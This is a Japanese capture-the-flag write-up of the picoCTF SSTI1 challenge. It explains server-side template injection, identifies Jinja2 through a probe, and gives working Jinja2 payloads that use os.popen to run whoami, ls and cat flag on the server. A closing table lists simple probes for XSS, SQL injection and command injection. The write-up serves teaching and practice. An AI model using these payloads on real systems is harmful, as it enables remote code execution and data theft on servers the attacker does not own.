🙄

Writeup|picoCTF SSTI1

に公開

SSTIの基本

そもそもSSTI(サーバーサイドテンプレートインジェクション)とは

サーバー側のテンプレートエンジンに対して、意図しないコードを埋め込める脆弱性

例:

# PythonのJinja2テンプレート
template = Template("Hello {{ user }}")
template.render(user="{{ 7 * 7 }}")  # → Hello 49(コード実行される)

攻撃者が {{ 7*7 }}{{ config }} のようなコードを入力し、サーバー側で評価・実行される

テンプレートエンジンとは:

動的にWebページやメールの中身を作るための仕組み

こんにちは、{{ name }}さん!
name = "えみさく"

→こんにちは、えみさくさん!と出力される。

  • 有名なテンプレートエンジン
言語 テンプレートエンジン
Python Jinja2、Django Templates
PHP Smarty、Twig
Ruby ERB、Haml
JavaScript EJS、Handlebars
Java Thymeleaf、Freemarker

SSTI問題の方向性:

  1. 使われているテンプレートエンジンを特定する
  2. そのテンプレートエンジン特有のSSTIペイロード(テンプレートエンジンに対して「何が実行されるか試すための入力文(攻撃コード)」)を使う

解法

1.使われているテンプレートエンジンを特定する


https://portswigger.net/web-security/server-side-template-injection

順番に入力して試していく。

portswiggerのサイトには{{7*'7'}}の結果が49ならTwig、7777777ならJinja2との記載。

今回は7777777が返ってきたのでJinja2を使用していることが分かる。

2.そのテンプレートエンジン特有のSSTIペイロードを使う

  1. whoami コマンドを実行し、サーバー上での実行ユーザー名を取得する

    {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('whoami').read() }}
    

    結果として「root」というユーザー名が返ってきたので、RCEが通ることを確認できる。

    💡RCE(Remote Code Execution):攻撃者が、対象のサーバー上で任意のコード(コマンド)を実行できる状態

  2. ls コマンドを使って、現在のディレクトリにどんなファイルがあるかを調べる。

    {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }}
    

    ファイル一覧が表示され、その中に flag というファイルが見つかった。

  3. cat コマンドで flag ファイルの中身を表示させる。

    {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag').read() }}
    

    これで flagの内容を確認することができた。

    💡注意

    Internal Server Errorが出た場合、まずクォーテーションが全角(‘’ や “”)になっていないか確認すること!見た目では気づきにくいが、全角だとテンプレートが正しく評価されない。

おまけ:そもそもSSTIと見抜くために

入力欄に潜む脆弱性は何種類かある。

以下にその主要な例を示す。

処理タイプ 脆弱性の例
テンプレートとして使う SSTI({{7*7}})→49が返される
HTMLとして埋め込む XSS(<script>alert(1)</script>)→アラートが出る
SQLクエリに組み込む SQLi(')→Syntax error in SQL statementのようなエラーが出る
OSコマンドに使う コマンドインジェクション(; echo injected)→injectedが出る

Discussion